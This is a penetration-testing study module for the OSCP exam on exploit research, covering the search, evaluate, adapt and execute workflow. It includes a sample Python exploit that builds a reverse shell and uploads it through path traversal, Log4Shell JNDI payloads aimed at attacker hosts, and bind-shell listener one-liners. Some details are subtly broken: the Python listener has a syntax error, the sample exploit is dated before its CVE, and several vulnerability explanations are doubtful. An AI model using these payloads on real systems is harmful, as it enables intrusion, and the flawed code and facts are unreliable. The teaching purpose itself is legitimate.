Domain 3Exploit Dev & AV EvasionCORE

Introduction to Exploit Research

Foundational concepts of exploit research in penetration testing, including the exploit research workflow, key principles, why exploit research matters for OSCP, and the end-to-end workflow from target identification through documentation.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#exploit-research#oscp#penetration-testing#vulnerability-assessment

Introduction to Exploit Research

What Is Exploit Research?

Exploit research is the systematic process of finding, evaluating, understanding, and adapting publicly available exploit code to gain unauthorized access to a target system during an authorized penetration test. It is one of the most frequently exercised skills on the OSCP exam and a cornerstone competency for any offensive security professional.

Exploit research is not exploit development. You are not expected to write exploits from scratch during the OSCP exam. Instead, you are expected to:

  1. Identify a vulnerable service and its exact version
  2. Search for known exploits targeting that service/version
  3. Evaluate the reliability and relevance of each candidate exploit
  4. Understand the exploit code well enough to adapt it if needed
  5. Execute the exploit against the target and achieve access
  6. Document your findings and methodology

OSCP Exam Reality Check: On the actual OSCP exam, you will face 5 machines (4 Windows/Linux + 1 Active Directory) in 24 hours. You cannot afford to spend hours writing exploits from scratch. The exam rewards candidates who can quickly locate, evaluate, and adapt existing public exploits. Exploit research is your primary weapon for the initial foothold on most machines.


Why Exploit Research Matters for OSCP

The Exam Context

The OSCP exam is a practical, hands-on assessment that simulates a real penetration engagement. Here is why exploit research is absolutely critical:

Factor Impact on Exam
Time Pressure 24 hours for 5 machines + report. Every minute spent writing an exploit from scratch is a minute not spent on another machine.
Machine Variety Exam machines run diverse services (Apache, IIS, SMB, RDP, custom web apps, databases). Each may require a different exploit.
Difficulty Curve Some machines are designed to be conquered primarily through public exploits. Others require adaptation of those exploits.
Report Requirements Your report must document the vulnerability, CVE (if applicable), exploit source, and methodology. Good research habits make reporting easier.
Passing Threshold You need 70/100 total points. Efficient exploit research directly impacts how many machines you can compromise.

Comparison: OSCP vs. PNPT Exploit Research

Aspect OSCP PNPT
Exploit Sources Primarily Exploit-DB, searchsploit, GitHub Same, plus more emphasis on real-world recon
Adaptation Expected Yes – you may need to modify Python/Ruby exploits Yes – but with more guidance available
Time per Machine ~4-5 hours average More flexible, no hard time limit per target
Exploit Types RCE, privilege escalation, web app exploits Broader range including social engineering
Key Skill Speed + accuracy in finding the right exploit Thoroughness + creativity in approach

The Bottom Line

On the OSCP exam, exploit research is not optional – it is the bridge between enumeration and exploitation. If you can enumerate a service but cannot find and apply an exploit, you are stuck. The faster and more accurately you can research exploits, the more machines you will compromise, and the higher your score will be.


The Complete Exploit Research Workflow

The exploit research process follows a structured, repeatable workflow. Mastering this workflow is more important than memorizing individual exploits, because the workflow applies to any target, any service, and any vulnerability.

Step-by-Step Workflow

┌─────────────────────────────────────────────────────────────────┐
│                    EXPLOIT RESEARCH WORKFLOW                     │
├──────────────┬──────────────┬──────────────┬────────────────────┤
│   STEP 1     │    STEP 2    │    STEP 3    │      STEP 4        │
│  Identify    │   Enumerate  │   Search     │    Evaluate        │
│   Target     │   Services   │   Exploits   │    & Select        │
├──────────────┼──────────────┼──────────────┼────────────────────┤
│   STEP 5     │    STEP 6    │    STEP 7    │      STEP 8        │
│  Understand  │   Test in    │   Adapt      │   Execute &        │
│   the Code   │    Lab       │   if Needed  │    Document        │
└──────────────┴──────────────┴──────────────┴────────────────────┘

Step 1: Identify the Target

Before searching for exploits, you must know what you are targeting. This comes from your reconnaissance and scanning phase.

Key information to gather:

  • IP address of the target machine
  • Operating system (Windows, Linux, specific distribution)
  • Architecture (x86, x64, ARM – matters for binary exploits)
  • Network context (internal, external, DMZ, domain-joined)
# Example: Initial OS detection
nmap -O -sV 10.10.10.5

# Output might show:
# OS details: Microsoft Windows 10 or 11
# Uptime: 0.0040s (0:00:00.0160)
# Network Distance: 2 hops

Step 2: Enumerate Services

Identify every service running on the target and its exact version. This is the most critical step because exploit compatibility depends on version precision.

# Comprehensive service enumeration
nmap -sV -sC -p- --version-all -oA full_scan 10.10.10.5

# Key flags explained:
# -sV       : Version detection
# -sC       : Default scripts (often reveal version info)
# -p-       : All 65535 ports
# --version-all : Try all version probes (slower but more accurate)
# -oA        : Output in all formats (grepable, XML, Nmap)

What to look for in scan results:

Service Banner Example What to Search For
Apache HTTP Apache/2.4.49 (Ubuntu) Apache 2.4.49
IIS Microsoft-IIS/10.0 IIS 10.0 + Windows version
OpenSSH OpenSSH_7.6p1 Ubuntu OpenSSH 7.6
MySQL MySQL 5.7.33-0ubuntu0 MySQL 5.7.33
Custom App Werkzeug/1.0.1 Python/3.8 Werkzeug 1.0.1

Pro Tip: Do not just rely on nmap version detection. Use multiple sources to confirm the version: banner grabbing, HTTP headers, application-specific enumeration tools, and even the application’s own “About” or “Status” pages.

Step 3: Search for Exploits

Once you have the service name and version, search for known exploits. Use multiple sources:

Primary search strategy (in order of priority):

  1. searchsploit (local Exploit-DB copy – fastest, works offline)
  2. Exploit-DB website (exploit-db.com – most comprehensive)
  3. GitHub (latest research, PoCs, adapted exploits)
  4. CVE Details (cvedetails.com – cross-reference CVEs)
  5. Packet Storm (packetstormsecurity.com – tools and advisories)
# Example searchsploit workflow for Apache 2.4.49

# Step 1: Broad search
searchsploit Apache 2.4.49

# Step 2: Narrow by vulnerability type
searchsploit Apache 2.4.49 path traversal

# Step 3: View a specific exploit
searchsploit -x 50383.py

# Step 4: Copy to working directory
searchsploit -m 50383.py

# Step 5: Review the code
cat 50383.py

Search hierarchy (from most specific to most broad):

Level 1: "Apache 2.4.49 path traversal"     (exact version + vuln type)
Level 2: "Apache 2.4.49"                     (exact version)
Level 3: "Apache 2.4"                        (version family)
Level 4: "Apache HTTP Server"                (product name)
Level 5: "Apache"                            (vendor/broad)

Strategy: Start at Level 1. If no results, move to Level 2, then 3, and so on. An exploit for Apache 2.4.49 might not exist, but one for Apache 2.4.x might work if the vulnerability affects the entire 2.4 branch.

Step 4: Evaluate and Select

Not all exploits are created equal. You must evaluate each candidate before investing time in it.

Evaluation criteria (ranked by importance):

Criterion What to Check Why It Matters
Version Match Does the exploit target the exact version (or a range that includes it)? A mismatched version = wasted time
Tested Status Does the exploit header say “Tested on [specific OS/version]”? Untested exploits may not work
Code Quality Is the code well-structured, commented, and readable? Poor code = harder to debug and adapt
Author Reputation Is the author a known security researcher? Reputable authors tend to produce reliable code
Publication Date When was the exploit published? Recent exploits may be untested; old exploits may be patched
Community Feedback Are there comments, forks, or discussions about the exploit? Community validation increases confidence
Dependencies What libraries/tools does the exploit require? Missing dependencies = more setup time
Exploit Type Is it RCE, privilege escalation, info disclosure? Match the exploit type to your goal

Red flags that suggest an exploit may not work:

  • No version information in the header
  • Code is obfuscated or minified
  • Requires obscure or unavailable dependencies
  • Published very recently with no community feedback
  • Multiple error reports in comments/issues
  • Targets a completely different platform

Step 5: Understand the Code

Never execute exploit code you do not understand. This is perhaps the most important principle in exploit research.

What to look for when reading exploit code:

# Example: Understanding an Apache Path Traversal exploit structure

#!/usr/bin/env python3
"""
Title: Apache 2.4.49 Path Traversal and Remote Code Execution
CVE: CVE-2021-41773
"""

import sys
import requests

# === SECTION 1: Configuration ===
# What does the exploit need?
TARGET = sys.argv[1]       # Target URL
LHOST = sys.argv[2]        # Attacker IP
LPORT = sys.argv[3]        # Listener port

# === SECTION 2: Vulnerability Mechanism ===
# How does the vulnerability work?
# Apache 2.4.49-2.4.50 has a path normalization issue
# that allows accessing files outside the web root via
# crafted URIs like /icons/.%2e/%2e/%2e/%2e/%2e/%2e/%2e/%2e/%2e/win.ini

# === SECTION 3: Payload Construction ===
# What malicious payload is being sent?
def build_payload(lhost, lport):
    # This creates a reverse shell payload
    # Understanding this helps you adapt the LHOST/LPORT
    shellcode = f"""
    import socket,subprocess,os
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("{lhost}",{lport}))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    subprocess.call(["/bin/sh","-i"])
    """
    return shellcode

# === SECTION 4: Exploitation Logic ===
# How is the vulnerability triggered?
def exploit(target, payload):
    # Step 1: Upload a malicious .cgi file via path traversal
    # Step 2: Execute the .cgi file to trigger the payload
    # Step 3: Catch the reverse shell on the listener
    url = f"{target}/cgi-bin/." + ".%2e/%2e/%2e/%2e/%2e/%2e/%2e/%2e/%2e/tmp/evil.cgi"
    response = requests.put(url, data=payload, headers={"Content-Type": "text/cgi"})
    if response.status_code == 201:
        requests.get(url)  # Trigger execution

Questions to ask yourself while reading:

  1. What vulnerability is being exploited?
  2. What is the attack vector (HTTP request, network packet, file upload)?
  3. What payload is being delivered (reverse shell, bind shell, command execution)?
  4. What parameters need to be changed (target IP, port, LHOST, LPORT)?
  5. What are the prerequisites (specific configuration, missing patches)?
  6. What could go wrong (race conditions, timing issues, WAF detection)?

Step 6: Test in a Lab

Always test exploits in an isolated lab environment before using them on exam targets.

Lab setup recommendations:

Lab Environment:
├── Attacker Machine (Kali Linux)
│   ├── IP: 10.0.0.10/24
│   ├── Tools: searchsploit, python3, nc, metasploit
│   └── Listener: nc -lvnp 4444
│
├── Target Machine (Victim VM)
│   ├── IP: 10.0.0.20/24
│   ├── Service: Apache 2.4.49 (intentionally unpatched)
│   └── Network: Isolated from production
│
└── Network: Host-only or NAT network (no internet access needed)

Lab testing checklist:

  • Target service is running and accessible from the attacker machine
  • Exploit code has been adapted with correct target IP and port
  • Listener is running on the correct port
  • Firewall rules allow the connection
  • Exploit execution produces expected output
  • Shell/callback is received successfully
  • Shell stability is acceptable (can run basic commands)

Step 7: Adapt if Needed

Most exploits will need at least minor modifications. Common adaptations include:

Adaptation When Needed Example
Change target IP/port Always Update TARGET and PORT variables
Change LHOST/LPORT Always Set to your attacker machine’s IP
Fix Python 2/3 compatibility Python 2 exploit on Python 3 system Change print statements, urllib2 to urllib
Update payload Default payload is detected or incompatible Replace shellcode with custom payload
Fix encoding issues Special characters cause errors URL-encode, base64-encode the payload
Adjust timing/delays Race conditions or slow targets Add time.sleep() calls
Modify HTTP headers WAF or specific server requirements Add User-Agent, Accept, etc.
# Common Python 2 to Python 3 fix
# BEFORE (Python 2):
import urllib2
response = urllib2.urlopen(request)
print response.read()

# AFTER (Python 3):
import urllib.request
response = urllib.request.urlopen(request)
print(response.read().decode('utf-8'))

Step 8: Execute and Document

Once the exploit works in your lab, execute it against the actual target. Then document everything:

Documentation template for each exploit attempt:

## Exploit Attempt: [Service Name] [Version]

### Target Information
- **IP Address**: 10.10.10.5
- **Service**: Apache HTTP Server 2.4.49
- **Port**: 80/tcp
- **OS**: Ubuntu 20.04 LTS

### Vulnerability
- **CVE**: CVE-2021-41773
- **Type**: Path Traversal / Remote Code Execution
- **CVSS**: 9.8 (Critical)

### Exploit Source
- **Exploit-DB ID**: 50383.py
- **Author**: [Author Name]
- **URL**: https://www.exploit-db.com/exploits/50383

### Modifications Made
- Updated TARGET to 10.10.10.5
- Updated LHOST to 10.10.14.3 (Kali IP)
- Fixed Python 3 compatibility (urllib2 -> urllib.request)

### Execution
```bash
python3 50383.py http://10.10.10.5 10.10.14.3 4444

Result

  • Successful – reverse shell obtained as www-data user
  • Shell stability: Good (can run commands reliably)
  • Privilege level: Low (www-data, need privesc next)

Lessons Learned

  • The exploit worked on the first attempt after Python 3 fix
  • The default payload worked without modification
  • Next step: privilege escalation from www-data to root

---

## Key Principles of Exploit Research

### Principle 1: Verify Before Exploiting

Never assume a vulnerability exists just because an exploit is available for the product. Always verify:

1. **The exact version** matches the exploit's target range
2. **The configuration** enables the vulnerability (some vulns require specific settings)
3. **No patches or mitigations** have been applied

```bash
# Verification example: Confirm Apache version via multiple methods

# Method 1: HTTP response header
curl -I http://10.10.10.5
# Look for: Server: Apache/2.4.49 (Ubuntu)

# Method 2: Server-status page (if enabled)
curl http://10.10.10.5/server-status

# Method 3: Nmap script
nmap --script http-apache-users -p 80 10.10.10.5

Principle 2: Test in Isolated Environments

Exploits can crash services, corrupt data, or trigger security alerts. Always test in a lab first:

  • Use virtual machines with snapshots (rollback if things go wrong)
  • Use isolated networks (host-only or NAT, not bridged to production)
  • Use intentionally vulnerable VMs (Metasploitable, DVWA, VulnHub)

Principle 3: Document Everything

Documentation serves multiple purposes:

  • Exam report: The OSCP report requires detailed methodology
  • Learning: Documenting helps you understand what worked and what didn’t
  • Future reference: Build a personal knowledge base
  • Troubleshooting: If an exploit fails, your notes help diagnose why

Principle 4: Understand the Code

This cannot be overstated. Reading and understanding exploit code is a skill that separates successful pentesters from script kiddies:

  • You cannot adapt what you do not understand
  • You cannot debug what you do not understand
  • You cannot explain what you do not understand (and the report requires explanation)

Exploit Development vs. Exploit Research

It is important to understand the distinction between these two activities:

Aspect Exploit Development Exploit Research/Adaptation
Goal Create a new exploit from scratch Find and adapt existing exploit code
Skills Required Reverse engineering, assembly, memory corruption, fuzzing Search skills, code reading, Python/Ruby modification
Time Investment Hours to weeks per vulnerability Minutes to hours per target
OSCP Relevance Rarely required (maybe for buffer overflow labs) Core skill – used on almost every machine
Example Writing a buffer overflow exploit for a custom binary Finding a CVE-2021-41773 exploit and changing the target IP
Tools GDB, Immunity Debugger, Mona.py, radare2 searchsploit, Exploit-DB, GitHub, text editors

For OSCP: Focus 95% of your effort on exploit research and adaptation. Exploit development is tested in the buffer overflow labs (SEED/PEH courses), but the exam machines are primarily conquered through public exploits.


Exploit Research in the OSCP Exam Strategy

Where Exploit Research Fits in the Exam

OSCP Exam Timeline (24 hours)
═══════════════════════════════════════════════════════════

Hour 0-1:   Initial Reconnaissance (nmap scans, service discovery)
            ↓
Hour 1-3:   Deep Enumeration + Exploit Research (parallel per machine)
            ↓
Hour 3-8:   Exploitation (apply researched exploits, gain foothold)
            ↓
Hour 8-12:  Post-Exploitation + Privilege Escalation
            ↓
Hour 12-16: AD Machine (if applicable) + Remaining Machines
            ↓
Hour 16-20: Report Writing (begin early!)
            ↓
Hour 20-24: Report Finalization + Buffer Time

Strategic Prioritization

When you have multiple targets and limited time, use this decision framework:

Priority Criteria Action
P0 – Immediate Well-known service + exact version match + reliable exploit found Exploit immediately
P1 – High Known service + version range match + exploit needs minor adaptation Adapt and exploit
P2 – Medium Known service + no exact exploit + may need creative approach Research alternatives
P3 – Low Unknown/custom service + no public exploits Set aside, return later

Time Management Rules

  1. Spend no more than 30 minutes on initial exploit research per service. If you cannot find a reliable exploit in 30 minutes, move on and return later.
  2. Have a backup exploit ready. Always identify at least two potential exploits for each target.
  3. Parallel research. While waiting for one exploit to compile or a listener to catch a shell, research exploits for the next target.
  4. Document as you go. Do not leave documentation for the end. Write notes during exploitation so your report is 50% done by the time you finish all machines.

Common Mistakes Beginners Make

Mistake 1: Searching Too Broadly

WRONG:  searchsploit apache
RIGHT:  searchsploit Apache 2.4.49 path traversal

Searching too broadly returns hundreds of irrelevant results. Be specific with version numbers and vulnerability types.

Mistake 2: Not Verifying Version Compatibility

Using an exploit for Apache 2.4.49 against an Apache 2.4.58 server will fail. The vulnerability may have been patched in later versions. Always verify the exact version.

Mistake 3: Ignoring the Exploit Header

The header of an exploit file contains critical information:

#!/usr/bin/env python
# Title: Apache 2.4.49 - Path Traversal and Remote Code Execution
# Date: 2021-01-02
# Exploit Author: Security Researcher
# Version: Apache 2.4.49 - 2.4.50
# Tested on: Ubuntu 20.04
# CVE: CVE-2021-41773

If the version says “2.4.49 - 2.4.50” and your target runs 2.4.58, this exploit will not work.

Mistake 4: Not Reading the Code Before Executing

Running an exploit without understanding what it does can lead to:

  • Crashing the target service (making further attempts impossible)
  • Triggering security alerts
  • Missing the callback because you didn’t set up a listener
  • Using wrong parameters and getting confused by errors

Mistake 5: Forgetting to Set Up a Listener

Many exploits deliver reverse shells. If you do not have a listener running, the exploit may succeed but you will not receive the shell.

# Always set up your listener BEFORE running the exploit

# Netcat listener
nc -lvnp 4444

# Or socat (more reliable for some shells)
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash

# Or Python one-liner
python3 -c 'import socket,subprocess,os;s=socket.socket();s.bind(("0.0.0.0",4444));s.listen(1);c,a=s.accept();[os.dup2(c.fileno(),f)for f in(0,1,2)];subprocess.call("/bin/sh"-i")'

Mistake 6: Using the Wrong LHOST

The LHOST (attacker IP) must be the IP address of the interface that the target can reach. On the OSCP exam, this is typically your Kali machine’s IP on the 10.10.14.x network.

# Check your IP
ip a show tun0
# Output: inet 10.10.14.3/28

# Use THIS IP as LHOST in the exploit, NOT 127.0.0.1 or your LAN IP

Mistake 7: Giving Up After the First Failed Exploit

If one exploit fails, try another. Different exploits may use different techniques, have different reliability, or work on slightly different configurations.


Real-World Vulnerability Examples

Example 1: Apache Path Traversal (CVE-2021-41773)

Vulnerability: Path traversal in Apache HTTP Server 2.4.49 and 2.4.50 allowing remote code execution.

How it works: A flaw in the URI normalization logic allows attackers to access files outside the web root using crafted URIs containing .. sequences encoded as .%2e/.

Exploit approach:

  1. Upload a malicious CGI script to a writable directory via path traversal
  2. Execute the CGI script to achieve remote code execution
  3. Receive a reverse shell
# Search for this exploit
searchsploit CVE-2021-41773

# Typical output:
# Apache HTTP Server 2.4.49/2.4.50 - Path Traversal and Remote Code Execution    | exploits/linux/remote/50383.py

# Copy and adapt
searchsploit -m 50383.py

Why this is OSCP-relevant: This type of vulnerability (web server RCE) is a classic exam machine foothold. Understanding how path traversal leads to RCE is a fundamental concept.

Example 2: Log4Shell (CVE-2021-44228)

Vulnerability: Remote code execution in Apache Log4j 2.x via JNDI injection.

How it works: Log4j processes log messages containing ${jndi:ldap://attacker.com/exploit} as JNDI lookup requests, allowing arbitrary code execution.

Exploit approach:

  1. Send a crafted HTTP request with a JNDI payload in a header (e.g., User-Agent)
  2. The target’s Log4j library processes the payload and connects to your LDAP server
  3. Your LDAP server returns a malicious Java class that executes your payload
# Search for Log4Shell exploits
searchsploit Log4Shell
searchsploit CVE-2021-44228

# Simple test payload
curl -H "User-Agent: ${jndi:ldap://10.10.14.3:1389/evil}" http://10.10.10.5/

Why this is OSCP-relevant: Java-based applications with Log4j are common in enterprise environments. Understanding JNDI injection is valuable for both the exam and real-world engagements.

Example 3: PrintNightmare (CVE-2021-34527)

Vulnerability: Privilege escalation in Windows Print Spooler service via improper pointer handling.

How it works: An authenticated user can exploit the Print Spooler service to execute arbitrary code with SYSTEM privileges by abusing the RPC interface.

Exploit approach:

  1. Authenticate to the target (may require valid credentials)
  2. Send a crafted RPC request to the Print Spooler
  3. The vulnerability allows writing to an arbitrary memory location
  4. Achieve SYSTEM-level code execution
# Search for PrintNightmare exploits
searchsploit PrintNightmare
searchsploit CVE-2021-34527

# Note: This typically requires authentication first
# Common on OSCP Windows machines as a privesc vector

Why this is OSCP-relevant: Windows privilege escalation is a core exam skill. PrintNightmare and similar Windows service vulnerabilities are common privesc paths.

Example 4: EternalBlue (MS17-010, CVE-2017-0144)

Vulnerability: Remote code execution in Windows SMBv1 server.

How it works: A buffer overflow in the SMBv1 protocol allows remote attackers to execute arbitrary code by sending specially crafted packets.

Exploit approach:

  1. Send crafted SMB packets to the target’s port 445
  2. Trigger the buffer overflow to overwrite return addresses
  3. Execute shellcode that delivers a reverse shell
# Search for EternalBlue
searchsploit EternalBlue
searchsploit MS17-010

# This is one of the most famous exploits in pentesting history
# Metasploit module: exploit/windows/smb/ms17_010_eternalblue

Why this is OSCP-relevant: SMB vulnerabilities are extremely common on exam machines. EternalBlue is a classic example of a network-level RCE that requires no authentication.


The Mindset of an Effective Exploit Researcher

Mindset Principle 1: Curiosity Over Frustration

When an exploit fails, do not immediately discard it. Ask:

  • Why did it fail?
  • What error messages appeared?
  • Is the target version slightly different?
  • Is there a configuration difference?
  • Can I adapt the exploit to work?

Mindset Principle 2: Systematic Over Random

Follow the workflow consistently. Do not jump between targets randomly. Process each target through the full research pipeline before moving on.

Mindset Principle 3: Patience Over Speed (Within Reason)

Rushing through exploit research leads to mistakes. Take the time to:

  • Read the exploit code
  • Understand the vulnerability
  • Verify version compatibility
  • Test in a lab

But also know when to move on. If an exploit is not working after reasonable effort, try a different approach.

Mindset Principle 4: Learning Over Memorization

Do not try to memorize exploits. Instead, learn:

  • How to search effectively
  • How to evaluate exploit quality
  • How to read and modify exploit code
  • How to troubleshoot failed exploits

These skills transfer to any vulnerability, any service, and any target.

Mindset Principle 5: Documentation as a Habit

Document every step, every success, and every failure. Your notes from today’s research will save you hours tomorrow. On the OSCP exam, your notes become your report.


Tools Overview (Covered in Later Topics)

The following tools will be covered in detail in subsequent topics of this chapter:

Tool Topic Purpose
searchsploit Topic 4: Searchsploit Mastery Local Exploit-DB search and retrieval
Exploit-DB Topic 2: Exploit Databases Primary exploit repository
CVE Details Topic 5: CVE, CVSS, and CPE CVE research and cross-referencing
NVD Topic 5: CVE, CVSS, and CPE Official vulnerability database
GitHub Topic 2: Exploit Databases Latest research and PoCs
Packet Storm Topic 2: Exploit Databases Tools, advisories, and papers
Metasploit Topic 10: Exploit Formats Framework for exploit delivery
impacket (Throughout course) Windows protocol exploitation
curl / wget (Throughout course) HTTP-based exploit delivery
netcat / socat (Throughout course) Shell handling and listeners

Practical Lab Exercises

Objective: Practice searching for exploits using searchsploit.

Steps:

  1. Ensure searchsploit is installed and updated:
    searchsploit --update
  2. Search for exploits targeting the following services:
    • Apache 2.4.49
    • OpenSSH 7.4
    • Microsoft IIS 8.5
    • MySQL 5.7
  3. For each search, identify the most promising exploit and note:
    • Exploit-DB ID
    • Author
    • Platform
    • Type (remote/local)
    • Tested status

Expected outcome: You should be able to quickly find and evaluate exploits for common services.

Exercise 2: Exploit Code Reading

Objective: Develop the ability to read and understand exploit code.

Steps:

  1. Download the Apache Path Traversal exploit (50383.py):
    searchsploit -m 50383.py
  2. Read the code line by line and answer:
    • What vulnerability is being exploited?
    • What is the attack vector?
    • What payload is being delivered?
    • What parameters need to be modified?
    • What Python libraries are used?
  3. Modify the exploit to target a different IP and port.

Expected outcome: You can read Python exploit code and identify key components.

Exercise 3: Lab Exploitation

Objective: Practice the full exploit research workflow in a lab.

Steps:

  1. Set up a vulnerable VM (e.g., Metasploitable 2 or a VulnHub machine)
  2. Perform reconnaissance and enumeration
  3. Identify a vulnerable service
  4. Search for an exploit
  5. Evaluate and select the best exploit
  6. Read and understand the exploit code
  7. Adapt the exploit for your lab environment
  8. Execute the exploit and capture a shell
  9. Document the entire process

Expected outcome: You can complete the full exploit research workflow from start to finish.

Exercise 4: Exploit Adaptation Challenge

Objective: Practice adapting exploits that do not work out of the box.

Steps:

  1. Find a Python 2 exploit from Exploit-DB
  2. Attempt to run it on a Python 3 system (Kali Linux)
  3. Identify and fix all compatibility issues:
    • print statements
    • urllib2 imports
    • String/bytes handling
    • Exception syntax
  4. Test the adapted exploit in your lab

Expected outcome: You can adapt Python 2 exploits for Python 3 environments.

Exercise 5: Multi-Source Research

Objective: Practice using multiple sources for exploit research.

Steps:

  1. Pick a recent CVE (e.g., CVE-2023-XXXX)
  2. Research the vulnerability using:
    • Exploit-DB (exploit-db.com)
    • CVE Details (cvedetails.com)
    • NVD (nvd.nist.gov)
    • GitHub
    • Packet Storm
  3. Compare the information from each source
  4. Identify which source provided the most useful exploit code
  5. Document your findings

Expected outcome: You can effectively use multiple sources and determine which is most useful for a given vulnerability.


Quick Reference: Exploit Research Checklist

Use this checklist during the OSCP exam to ensure you follow a systematic approach:

EXPLOIT RESEARCH CHECKLIST
══════════════════════════

PRE-RESEARCH
[ ] Target IP identified
[ ] Service name identified
[ ] Service version confirmed (multiple sources)
[ ] OS identified
[ ] Architecture noted (if relevant)

SEARCH
[ ] searchsploit performed (specific query)
[ ] Exploit-DB website checked
[ ] GitHub searched (if needed)
[ ] At least 2 candidate exploits identified

EVALUATION
[ ] Version compatibility verified
[ ] Platform compatibility verified
[ ] Code quality assessed
[ ] Tested status confirmed
[ ] Dependencies identified

PREPARATION
[ ] Exploit code read and understood
[ ] Required modifications identified
[ ] LHOST/LPORT set correctly
[ ] Listener configured
[ ] Lab test performed (if time allows)

EXECUTION
[ ] Exploit executed
[ ] Shell/callback received
[ ] Shell stability verified
[ ] Results documented

POST-EXPLOITATION
[ ] CVE recorded
[ ] Exploit source cited
[ ] Modifications documented
[ ] Next steps identified (privesc, lateral movement)

Summary

Exploit research is the bridge between finding a vulnerability and exploiting it. On the OSCP exam, your ability to quickly and accurately research, evaluate, and adapt public exploits will directly determine your success. The key takeaways from this topic are:

  1. Follow a systematic workflow – Identify, Enumerate, Search, Evaluate, Understand, Test, Adapt, Execute, Document.
  2. Be specific in your searches – Use exact version numbers and vulnerability types.
  3. Always verify before exploiting – Confirm version compatibility and test in a lab.
  4. Read and understand the code – Never execute exploit code you do not understand.
  5. Document everything – Your notes become your exam report.
  6. Have a backup plan – Always identify at least two potential exploits per target.
  7. Manage your time – Do not get stuck on one exploit. Move on and return later if needed.

Master these principles, and exploit research will become one of your strongest assets on the OSCP exam and in your career as a penetration tester.